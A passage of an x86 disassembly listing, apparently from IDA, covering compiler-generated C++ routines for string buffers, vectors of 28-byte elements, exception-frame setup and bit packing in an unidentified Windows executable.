
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_41C350
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_401AD3
		pop	esi
		retn	4
sub_401994	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019B1	proc near		; CODE XREF: sub_40103C+10p
					; sub_4013EC+237p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4019E4
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4019E4
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_4019DC
		push	[esp+8+arg_4]
		push	edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch

loc_4019DC:				; CODE XREF: sub_4019B1+1Bj
		push	edi
		call	sub_41C7B8
		pop	ecx
		pop	edi

loc_4019E4:				; CODE XREF: sub_4019B1+8j
					; sub_4019B1+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401BAE
		pop	esi
		retn	8
sub_4019B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019FA	proc near		; CODE XREF: sub_4018C2+7p
					; sub_401C28+2Ap
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_401A04
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_4019FA+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_4019FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A10	proc near		; CODE XREF: sub_4018C2+37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_4018AC
		test	eax, eax
		jnz	short loc_401A20
		xor	esi, esi
		jmp	short loc_401A2F
; ---------------------------------------------------------------------------

loc_401A20:				; CODE XREF: sub_401A10+Aj
		mov	eax, [esp+4+arg_0]
		sub	eax, [edi+4]
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax

loc_401A2F:				; CODE XREF: sub_401A10+Ej
		push	[esp+4+arg_4]
		push	1
		push	[esp+0Ch+arg_0]
		push	edi
		call	sub_401C28
		imul	esi, 1Ch
		add	esi, [edi+4]
		mov	eax, ebx
		mov	[ebx], esi
		pop	esi
		retn	8
sub_401A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A4D	proc near		; CODE XREF: sub_401844+1Dp
		push	edi
		mov	edi, eax
		xor	eax, eax
		cmp	edi, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		jnz	short loc_401A63
		xor	al, al
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_401A63:				; CODE XREF: sub_401A4D+10j
		cmp	edi, 9249249h
		jbe	short loc_401A70
		jmp	sub_40C38F
; ---------------------------------------------------------------------------

loc_401A70:				; CODE XREF: sub_401A4D+1Cj
		imul	edi, 1Ch
		push	edi
		call	sub_41BA91
		add	edi, eax
		pop	ecx
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], edi
		mov	al, 1
		pop	edi
		retn
sub_401A4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A89	proc near		; CODE XREF: sub_4013EC+26Fp
					; sub_4016AD+11Ep ...
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_401AA2
		push	dword ptr [esi+8]
		call	sub_401FDF
		push	dword ptr [esi+4]
		call	sub_41C7B8
		pop	ecx
		pop	ecx

loc_401AA2:				; CODE XREF: sub_401A89+5j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		retn
sub_401A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AAF	proc near		; CODE XREF: sub_4018C2+22p
					; sub_401C28+BDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_401FC5
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ch
		add	esp, 10h
		add	eax, [ebp+arg_4]
		pop	ebp
		retn	10h
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AD3	proc near		; CODE XREF: sub_401994+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_401F76
		test	al, al
		jz	short loc_401B05
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401AF2
		mov	eax, [esi+4]
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------

loc_401AF2:				; CODE XREF: sub_401AD3+18j
		lea	eax, [esi+4]

loc_401AF5:				; CODE XREF: sub_401AD3+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_401905
		jmp	short loc_401B3C
; ---------------------------------------------------------------------------

loc_401B05:				; CODE XREF: sub_401AD3+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401BCA
		test	al, al
		jz	short loc_401B3A
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401B20
		mov	eax, [esi+4]
		jmp	short loc_401B23
; ---------------------------------------------------------------------------

loc_401B20:				; CODE XREF: sub_401AD3+46j
		lea	eax, [esi+4]

loc_401B23:				; CODE XREF: sub_401AD3+4Bj
		push	[ebp+arg_4]
		push	edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401BAE

loc_401B3A:				; CODE XREF: sub_401AD3+40j
		mov	eax, esi

loc_401B3C:				; CODE XREF: sub_401AD3+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_401AD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B42	proc near		; CODE XREF: sub_401905+33p
					; sub_401905+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_401B56
		call	sub_41B9F9

loc_401B56:				; CODE XREF: sub_401B42+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_401B63
		mov	[ebp+arg_4], eax

loc_401B63:				; CODE XREF: sub_401B42+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_401BA6
		push	ebx
		mov	ebx, [esi+18h]
		cmp	ebx, 10h
		lea	ecx, [esi+4]
		jb	short loc_401B79
		mov	edx, [ecx]
		jmp	short loc_401B7B
; ---------------------------------------------------------------------------

loc_401B79:				; CODE XREF: sub_401B42+31j
		mov	edx, ecx

loc_401B7B:				; CODE XREF: sub_401B42+35j
		cmp	ebx, 10h
		pop	ebx
		jb	short loc_401B83
		mov	ecx, [ecx]

loc_401B83:				; CODE XREF: sub_401B42+3Dj
		sub	eax, [ebp+arg_4]
		add	edx, edi
		add	edx, [ebp+arg_4]
		push	eax
		push	edx
		add	ecx, edi
		push	ecx
		call	sub_41BFA0
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 0Ch
		push	eax
		mov	ecx, esi
		call	sub_401BAE

loc_401BA6:				; CODE XREF: sub_401B42+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_401B42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401BAE	proc near		; CODE XREF: sub_4017F2+Cp
					; sub_401818+Cp ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_401BC0
		mov	ecx, [ecx+4]
		jmp	short loc_401BC3
; ---------------------------------------------------------------------------

loc_401BC0:				; CODE XREF: sub_401BAE+Bj
		add	ecx, 4

loc_401BC3:				; CODE XREF: sub_401BAE+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_401BAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BCA	proc near		; CODE XREF: sub_401905+49p
					; sub_401AD3+39p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_401BDC
		call	sub_41BA51

loc_401BDC:				; CODE XREF: sub_401BCA+Bj
		cmp	[esi+18h], edi
		jnb	short loc_401BEE
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_401E8E
		jmp	short loc_401C1B
; ---------------------------------------------------------------------------

loc_401BEE:				; CODE XREF: sub_401BCA+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_401C0F
		cmp	edi, 10h
		jnb	short loc_401C0F
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_401C03
		mov	eax, edi

loc_401C03:				; CODE XREF: sub_401BCA+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_4019B1
		jmp	short loc_401C1B
; ---------------------------------------------------------------------------

loc_401C0F:				; CODE XREF: sub_401BCA+29j
					; sub_401BCA+2Ej
		test	edi, edi
		jnz	short loc_401C1B
		push	edi
		mov	ecx, esi
		call	sub_401BAE

loc_401C1B:				; CODE XREF: sub_401BCA+22j
					; sub_401BCA+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_401BCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C28	proc near		; CODE XREF: sub_401A10+2Ap
		mov	eax, offset loc_427C9F
		call	sub_41E550
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	edi, [ebp+10h]
		mov	[ebp-10h], esp
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_4017F2
		and	dword ptr [ebp-4], 0
		mov	eax, esi
		call	sub_4019FA
		test	edi, edi
		mov	ebx, eax
		jz	loc_401E16
		mov	eax, esi
		call	sub_4018AC
		mov	ecx, 9249249h
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_401C78
		call	sub_40C38F

loc_401C78:				; CODE XREF: sub_401C28+49j
		mov	eax, esi
		call	sub_4018AC
		add	eax, edi
		cmp	ebx, eax
		jnb	loc_401D55
		mov	eax, ebx
		shr	eax, 1
		mov	ecx, 9249249h
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_401C9C
		xor	ebx, ebx
		jmp	short loc_401C9E
; ---------------------------------------------------------------------------

loc_401C9C:				; CODE XREF: sub_401C28+6Ej
		add	ebx, eax

loc_401C9E:				; CODE XREF: sub_401C28+72j
		mov	eax, esi
		call	sub_4018AC
		add	eax, edi
		cmp	ebx, eax
		jnb	short loc_401CB6
		mov	eax, esi
		call	sub_4018AC
		mov	ebx, eax
		add	ebx, edi

loc_401CB6:				; CODE XREF: sub_401C28+81j
		imul	ebx, 1Ch
		push	ebx
		call	sub_41BA91
		mov	byte ptr [ebp-4], 1
		push	dword ptr [ebp+0Ch]
		mov	ecx, [esi+4]
		push	eax
		push	dword ptr [ebp+0Ch]
		mov	[ebp+8], eax
		mov	[ebp+10h], eax
		call	sub_402138
		add	esp, 10h
		lea	ecx, [ebp-2Ch]
		push	ecx
		push	edi
		push	eax
		push	esi
		mov	[ebp+10h], eax
		call	sub_401AAF
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp+0Ch]
		mov	[ebp+10h], eax
		mov	eax, [esi+8]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_402138
		add	esp, 0Ch
		mov	eax, esi
		call	sub_4018AC
		add	edi, eax
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_401D24
		push	dword ptr [esi+8]
		call	sub_401FDF
		push	dword ptr [esi+4]
		call	sub_41C7B8
		pop	ecx
		pop	ecx

loc_401D24:				; CODE XREF: sub_401C28+E8j
		mov	eax, [ebp+8]
		imul	edi, 1Ch
		add	ebx, eax
		add	edi, eax
		mov	[esi+0Ch], ebx
		mov	[esi+8], edi
		mov	[esi+4], eax
		jmp	loc_401E16
; ---------------------------------------------------------------------------

loc_401D3C:				; DATA XREF: .text:00431AD4o
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+8]
		call	sub_401FDF
		push	dword ptr [ebp+8]
		call	sub_41C7B8
		pop	ecx
		jmp	loc_401DDA
; ---------------------------------------------------------------------------

loc_401D55:				; CODE XREF: sub_401C28+5Bj
		mov	ecx, [esi+8]
		mov	eax, ecx
		sub	eax, [ebp+0Ch]
		push	1Ch
		cdq
		pop	ebx
		idiv	ebx
		push	dword ptr [ebp+0Ch]
		mov	[ebp+14h], ecx
		cmp	eax, edi
		jnb	short loc_401DE4
		mov	edx, [ebp+0Ch]
		mov	ebx, edi
		imul	ebx, 1Ch
		lea	eax, [ebx+edx]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_402138
		add	esp, 0Ch
		mov	byte ptr [ebp-4], 3
		mov	eax, [esi+8]
		sub	eax, [ebp+0Ch]
		lea	ecx, [ebp-2Ch]
		push	ecx
		push	1Ch
		pop	ecx
		cdq
		idiv	ecx
		sub	edi, eax
		push	edi
		push	dword ptr [esi+8]
		push	esi
		call	sub_401AAF
		and	dword ptr [ebp-4], 0
		add	[esi+8], ebx
		mov	esi, [esi+8]
		lea	eax, [ebp-2Ch]
		push	eax
		mov	eax, [ebp+0Ch]
		sub	esi, ebx
		push	esi
		call	sub_401FF7
		pop	ecx
		pop	ecx
		jmp	short loc_401E16
; ---------------------------------------------------------------------------

loc_401DC1:				; DATA XREF: .text:00431AE4o
		mov	eax, [ebp+10h]
		mov	ecx, [ebp+8]
		imul	eax, 1Ch
		mov	ecx, [ecx+8]
		add	ecx, eax
		push	ecx
		mov	ecx, [ebp+0Ch]
		add	eax, ecx
		call	sub_401FDF

loc_401DDA:				; CODE XREF: sub_401C28+128j
		pop	ecx
		push	0
		push	0
		call	sub_41E4BE

loc_401DE4:				; CODE XREF: sub_401C28+143j
		imul	edi, 1Ch
		mov	ebx, ecx
		push	ecx
		sub	ebx, edi
		push	ecx
		mov	ecx, ebx
		call	sub_402138
		push	dword ptr [ebp+14h]
		mov	[esi+8], eax
		mov	esi, [ebp+0Ch]
		push	esi
		mov	eax, ebx
		call	sub_402016
		lea	eax, [ebp-2Ch]
		push	eax
		add	edi, esi
		push	edi
		mov	eax, esi
		call	sub_401FF7
		add	esp, 1Ch

loc_401E16:				; CODE XREF: sub_401C28+33j
					; sub_401C28+10Fj ...
		push	0
		push	1
		lea	ecx, [ebp-2Ch]
		call	sub_4019B1
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_401C28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_401E4B
		mov	dword ptr [esi], offset	off_429478
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401E4B	proc near		; CODE XREF: .text:00401E3Ap
					; sub_41B9F9+47p
		mov	eax, offset loc_427A01
		call	sub_41E550
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_41C80B
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_42946C
		call	sub_4017F2
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_401E4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E8E	proc near		; CODE XREF: sub_401BCA+1Dp
		mov	eax, offset loc_4279EF
		call	sub_41E550
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		mov	edi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-18h], edi
		jbe	short loc_401EB6
		mov	esi, [ebp+8]
		jmp	short loc_401EDB
; ---------------------------------------------------------------------------

loc_401EB6:				; CODE XREF: sub_401E8E+21j
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_401EDB
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_401EDB
		lea	esi, [edx+ecx]

loc_401EDB:				; CODE XREF: sub_401E8E+26j
					; sub_401E8E+3Fj ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	eax
		call	sub_41BA91
		pop	ecx
		mov	ebx, eax
		jmp	short loc_401F14
; ---------------------------------------------------------------------------

loc_401EED:				; DATA XREF: .text:004313B0o
		mov	eax, [ebp+8]
		mov	[ebp+8], eax
		inc	eax
		mov	[ebp-10h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_41BA91
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_401F0B
		retn
; ---------------------------------------------------------------------------

loc_401F0B:				; DATA XREF: sub_401E8E+77o
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]

loc_401F14:				; CODE XREF: sub_401E8E+5Dj
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_401F35
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401F25
		mov	eax, [edi+4]
		jmp	short loc_401F28
; ---------------------------------------------------------------------------

loc_401F25:				; CODE XREF: sub_401E8E+90j
		lea	eax, [edi+4]

loc_401F28:				; CODE XREF: sub_401E8E+95j
		push	dword ptr [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_41BC60
		add	esp, 0Ch

loc_401F35:				; CODE XREF: sub_401E8E+8Aj
		push	0
		push	1
		mov	ecx, edi
		call	sub_4019B1
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_401BAE
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_401E8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F61	proc near		; DATA XREF: .text:004313A0o
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_4019B1
		push	esi
		push	esi
		call	sub_41E4BE
		int	3		; Trap to Debugger
sub_401F61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401F76	proc near		; CODE XREF: sub_401AD3+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_401F86
		mov	edx, [eax]
		jmp	short loc_401F88
; ---------------------------------------------------------------------------

loc_401F86:				; CODE XREF: sub_401F76+Aj
		mov	edx, eax

loc_401F88:				; CODE XREF: sub_401F76+Ej
		cmp	[esp+4+arg_0], edx
		jb	short loc_401FA4
		cmp	esi, 10h
		jb	short loc_401F95
		mov	eax, [eax]

loc_401F95:				; CODE XREF: sub_401F76+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_401FA4
		mov	al, 1
		jmp	short loc_401FA6
; ---------------------------------------------------------------------------

loc_401FA4:				; CODE XREF: sub_401F76+16j
					; sub_401F76+28j
		xor	al, al

loc_401FA6:				; CODE XREF: sub_401F76+2Cj
		pop	esi
		retn	4
sub_401F76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FAA	proc near		; CODE XREF: sub_401844+36p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_0]
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		call	sub_40202D
		add	esp, 10h
		retn	10h
sub_401FAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FC5	proc near		; CODE XREF: sub_401AAF+Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402047
		add	esp, 10h
		leave
		retn
sub_401FC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FDF	proc near		; CODE XREF: sub_401A89+Ap
					; sub_401C28+EDp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_401FEF
; ---------------------------------------------------------------------------

loc_401FE4:				; CODE XREF: sub_401FDF+14j
		push	0
		push	esi
		call	sub_4021C2
		add	esi, 1Ch

loc_401FEF:				; CODE XREF: sub_401FDF+3j
		cmp	esi, [esp+4+arg_0]
		jnz	short loc_401FE4
		pop	esi
		retn
sub_401FDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FF7	proc near		; CODE XREF: sub_401C28+190p
					; sub_401C28+1E6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, eax
		jmp	short loc_40200E
; ---------------------------------------------------------------------------

loc_401FFC:				; CODE XREF: sub_401FF7+1Bj
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		call	sub_401905
		add	esi, 1Ch

loc_40200E:				; CODE XREF: sub_401FF7+3j
		cmp	esi, [esp+4+arg_0]
		jnz	short loc_401FFC
		pop	esi
		retn
sub_401FF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402016	proc near		; CODE XREF: sub_401C28+1D8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4020A9
		add	esp, 0Ch
		leave
		retn
sub_402016	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40202D	proc near		; CODE XREF: sub_401FAA+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4020D3
		add	esp, 10h
		leave
		retn
sub_40202D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402047	proc near		; CODE XREF: sub_401FC5+10p
		mov	eax, offset loc_427B74
		call	sub_41E550
		push	ecx
		push	ecx
		mov	eax, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax

loc_402063:				; CODE XREF: sub_402047+35j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40209A
		push	dword ptr [ebp+10h]
		mov	ecx, [ebp+8]
		call	sub_40219C
		dec	dword ptr [ebp+0Ch]
		add	dword ptr [ebp+8], 1Ch
		pop	ecx
		jmp	short loc_402063
; ---------------------------------------------------------------------------

loc_40207E:				; DATA XREF: .text:004315F4o
		mov	esi, [ebp-14h]
		jmp	short loc_40208C
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_402047+4Aj
		push	esi
		call	sub_4021C2
		add	esi, 1Ch

loc_40208C:				; CODE XREF: sub_402047+3Aj
		cmp	esi, [ebp+8]
		push	0
		jnz	short loc_402083
		push	0
		call	sub_41E4BE

loc_40209A:				; CODE XREF: sub_402047+20j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_402047	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020A9	proc near		; CODE XREF: sub_402016+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		cmp	[ebp+arg_0], esi
		jz	short loc_4020CD

loc_4020B4:				; CODE XREF: sub_4020A9+22j
		sub	[ebp+arg_4], 1Ch
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		push	0
		sub	esi, 1Ch
		push	esi
		call	sub_401905
		cmp	esi, [ebp+arg_0]
		jnz	short loc_4020B4

loc_4020CD:				; CODE XREF: sub_4020A9+9j
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebp
		retn
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4020D3	proc near		; CODE XREF: sub_40202D+10p
		mov	eax, offset loc_427C7B
		call	sub_41E550
		push	ecx
		push	ecx
		mov	eax, [ebp+10h]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax

loc_4020F2:				; CODE XREF: sub_4020D3+35j
		cmp	esi, [ebp+0Ch]
		jz	short loc_402126
		mov	ecx, [ebp+10h]
		push	esi
		call	sub_40219C
		add	dword ptr [ebp+10h], 1Ch
		pop	ecx
		add	esi, 1Ch
		jmp	short loc_4020F2
; ---------------------------------------------------------------------------

loc_40210A:				; DATA XREF: .text:00431A6Co
		mov	esi, [ebp-14h]
		jmp	short loc_402118
; ---------------------------------------------------------------------------

loc_40210F:				; CODE XREF: sub_4020D3+4Aj
		push	esi
		call	sub_4021C2
		add	esi, 1Ch

loc_402118:				; CODE XREF: sub_4020D3+3Aj
		cmp	esi, [ebp+10h]
		push	0
		jnz	short loc_40210F
		push	0
		call	sub_41E4BE

loc_402126:				; CODE XREF: sub_4020D3+22j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+10h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_4020D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402138	proc near		; CODE XREF: sub_401C28+ABp
					; sub_401C28+D2p ...
		mov	eax, offset loc_427C71
		call	sub_41E550
		push	ecx
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	[ebp-14h], eax

loc_402156:				; CODE XREF: sub_402138+34j
		cmp	esi, [ebp+8]
		jz	short loc_40218A
		mov	ecx, [ebp+0Ch]
		push	esi
		call	sub_40219C
		add	dword ptr [ebp+0Ch], 1Ch
		pop	ecx
		add	esi, 1Ch
		jmp	short loc_402156
; ---------------------------------------------------------------------------

loc_40216E:				; DATA XREF: .text:00431A1Co
		mov	esi, [ebp-14h]
		jmp	short loc_40217C
; ---------------------------------------------------------------------------

loc_402173:				; CODE XREF: sub_402138+49j
		push	esi
		call	sub_4021C2
		add	esi, 1Ch

loc_40217C:				; CODE XREF: sub_402138+39j
		cmp	esi, [ebp+0Ch]
		push	0
		jnz	short loc_402173
		push	0
		call	sub_41E4BE

loc_40218A:				; CODE XREF: sub_402138+21j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_402138	endp


; =============== S U B	R O U T	I N E =======================================



sub_40219C	proc near		; CODE XREF: sub_402047+28p
					; sub_4020D3+28p ...
		mov	eax, offset loc_427B6A
		call	sub_41E550
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_4021B6
		push	dword ptr [ebp+8]
		call	sub_4017F2

loc_4021B6:				; CODE XREF: sub_40219C+10j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn
sub_40219C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4021C2	proc near		; CODE XREF: sub_401FDF+8p
					; sub_402047+3Dp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	ecx, [esp+arg_0]
		push	0
		push	1
		call	sub_4019B1
		test	[esp+arg_4], 1
		jz	short loc_4021E0
		push	[esp+arg_0]
		call	sub_41C7B8
		pop	ecx

loc_4021E0:				; CODE XREF: sub_4021C2+12j
		mov	eax, [esp+arg_0]
		retn	8
sub_4021C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021E7	proc near		; CODE XREF: sub_4026BD+B8p
					; sub_4026BD+CAp ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	ebx
		mov	bl, cl
		mov	ecx, [edi]
		push	esi
		lea	esi, [ecx+edx]
		mov	cl, [eax]
		mov	dl, bl
		shl	dl, cl
		movzx	ecx, [esp+8+arg_0]
		or	[esi], dl
		mov	edx, [eax]
		add	ecx, edx
		cmp	ecx, 8
		mov	[eax], ecx
		jl	short loc_402222
		inc	dword ptr [edi]
		add	dword ptr [eax], 0FFFFFFF8h
		jz	short loc_402222
		mov	eax, [edi]
		mov	cl, 8
		sub	cl, dl
		shr	bl, cl
		mov	ecx, [esp+8+arg_4]
		mov	[ecx+eax], bl

